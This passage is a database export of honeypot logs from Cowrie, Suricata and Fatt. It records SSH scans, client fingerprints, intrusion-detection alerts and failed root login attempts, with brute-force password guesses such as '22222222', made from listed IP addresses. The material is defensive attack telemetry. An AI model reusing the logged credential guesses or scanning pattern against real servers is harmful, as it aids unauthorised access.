"diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ffc4bec824e2", "@version": "1", "timestamp": "2021-09-20T11:18:14.712416Z", "@timestamp": "2021-09-20T11:18:14.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28508	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:18:14.711755+03	2021-09-20 14:30:02.924523+03	{"_id": "JQbtAnwBvYTbRNuEji-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1459509041486052, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41316, "dest_port": 22, "timestamp": "2021-09-20T11:18:14.711755Z", "@timestamp": "2021-09-20T11:18:14.711Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28509	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:14.682167+03	2021-09-20 14:30:02.925524+03	{"_id": "JgbtAnwBvYTbRNuEjy_k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41316, "timestamp": "2021-09-20T11:18:14.682167", "@timestamp": "2021-09-20T11:18:14.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28510	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:18:20.393972+03	2021-09-20 14:30:02.927523+03	{"_id": "MgbtAnwBvYTbRNuEpi8P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:17:49.600787+0000", "pkts_toclient": 13, "pkts_toserver": 15, "bytes_toclient": 2585, "bytes_toserver": 3058}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1031116116798163, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46848, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:18:20.393972Z", "@timestamp": "2021-09-20T11:18:20.393Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28521	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:18:26.301139+03	2021-09-20 14:30:02.941524+03	{"_id": "VwbtAnwBvYTbRNuEuy_G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2222] failed", "session": "abe7c4e2d90b", "@version": "1", "password": "2222", "username": "root", "timestamp": "2021-09-20T11:18:26.301139Z", "@timestamp": "2021-09-20T11:18:26.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28511	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:18:20.398822+03	2021-09-20 14:30:02.928524+03	{"_id": "MwbtAnwBvYTbRNuEpi8Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:18:19.399025+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2208843395962545, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 40631, "dest_port": 22, "timestamp": "2021-09-20T11:18:20.398822Z", "@timestamp": "2021-09-20T11:18:20.398Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
28512	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:18:23.14069+03	2021-09-20 14:30:02.929524+03	{"_id": "NQbtAnwBvYTbRNuErS_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30706, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2170427061249426, "@version": "1", "in_iface": "enp5s0", "src_port": 60916, "dest_port": 53, "timestamp": "2021-09-20T11:18:23.140690Z", "@timestamp": "2021-09-20T11:18:23.140Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28513	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:18:23.255403+03	2021-09-20 14:30:02.930524+03	{"_id": "NwbtAnwBvYTbRNuEry8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35040, "timestamp": "2021-09-20T11:18:23.255403", "@timestamp": "2021-09-20T11:18:23.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28514	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:18:23.730081+03	2021-09-20 14:30:02.931523+03	{"_id": "OgbtAnwBvYTbRNuEsC8L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:43488 (192.168.176.2:22) [session: 086122a2e71c]", "session": "086122a2e71c", "@version": "1", "protocol": "ssh", "src_port": 43488, "dest_port": 22, "timestamp": "2021-09-20T11:18:23.730081Z", "@timestamp": "2021-09-20T11:18:23.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28515	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:18:23.141878+03	2021-09-20 14:30:02.933523+03	{"_id": "NgbtAnwBvYTbRNuErS_h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30706, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1543, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2170427061249426, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60916, "timestamp": "2021-09-20T11:18:23.141878Z", "@timestamp": "2021-09-20T11:18:23.141Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28522	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:18:27.569121+03	2021-09-20 14:30:02.943524+03	{"_id": "WAbtAnwBvYTbRNuEvy-v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/22222222] failed", "session": "abe7c4e2d90b", "@version": "1", "password": "22222222", "username": "root", "timestamp": "2021-09-20T11:18:27.569121Z", "@timestamp": "2021-09-20T11:18:27.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28516	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:23.21499+03	2021-09-20 14:30:02.934523+03	{"_id": "OAbtAnwBvYTbRNuEry8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35040, "dest_port": 443, "timestamp": "2021-09-20T11:18:23.214990", "@timestamp": "2021-09-20T11:18:23.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28517	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:18:23.902858+03	2021-09-20 14:30:02.936523+03	{"_id": "RAbtAnwBvYTbRNuEsC8L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "086122a2e71c", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:18:23.902858Z", "@timestamp": "2021-09-20T11:18:23.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28518	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:18:24.078022+03	2021-09-20 14:30:02.938524+03	{"_id": "UAbtAnwBvYTbRNuEsy_0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "086122a2e71c", "@version": "1", "timestamp": "2021-09-20T11:18:24.078022Z", "@timestamp": "2021-09-20T11:18:24.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28519	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:18:24.92091+03	2021-09-20 14:30:02.939523+03	{"_id": "UQbtAnwBvYTbRNuEtS-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 467367301751847, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 24670, "dest_port": 22, "timestamp": "2021-09-20T11:18:24.920910Z", "@timestamp": "2021-09-20T11:18:24.920Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28520	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:24.665661+03	2021-09-20 14:30:02.940523+03	{"_id": "UgbtAnwBvYTbRNuEti_5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 24670, "timestamp": "2021-09-20T11:18:24.665661", "@timestamp": "2021-09-20T11:18:24.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28523	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:18:28.837158+03	2021-09-20 14:30:02.944524+03	{"_id": "WQbtAnwBvYTbRNuEwy-Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/223344] failed", "session": "abe7c4e2d90b", "@version": "1", "password": "223344", "username": "root", "timestamp": "2021-09-20T11:18:28.837158Z", "@timestamp": "2021-09-20T11:18:28.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28524	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:18:23.902608+03	2021-09-20 14:30:02.945524+03	{"_id": "RQbtAnwBvYTbRNuEsS_L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 781187677126737, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43488, "dest_port": 22, "timestamp": "2021-09-20T11:18:23.902608Z", "@timestamp": "2021-09-20T11:18:23.902Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28525	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:18:24.077434+03	2021-09-20 14:30:02.946524+03	{"_id": "RgbtAnwBvYTbRNuEsy8Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 43488, "dest_port": 22, "timestamp": "2021-09-20T11:18:24.077434", "@timestamp": "2021-09-20T11:18:24.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28526	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:18:14.680084+03	2021-09-20 14:30:02.948523+03	{"_id": "HwbtAnwBvYTbRNuEjC_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: 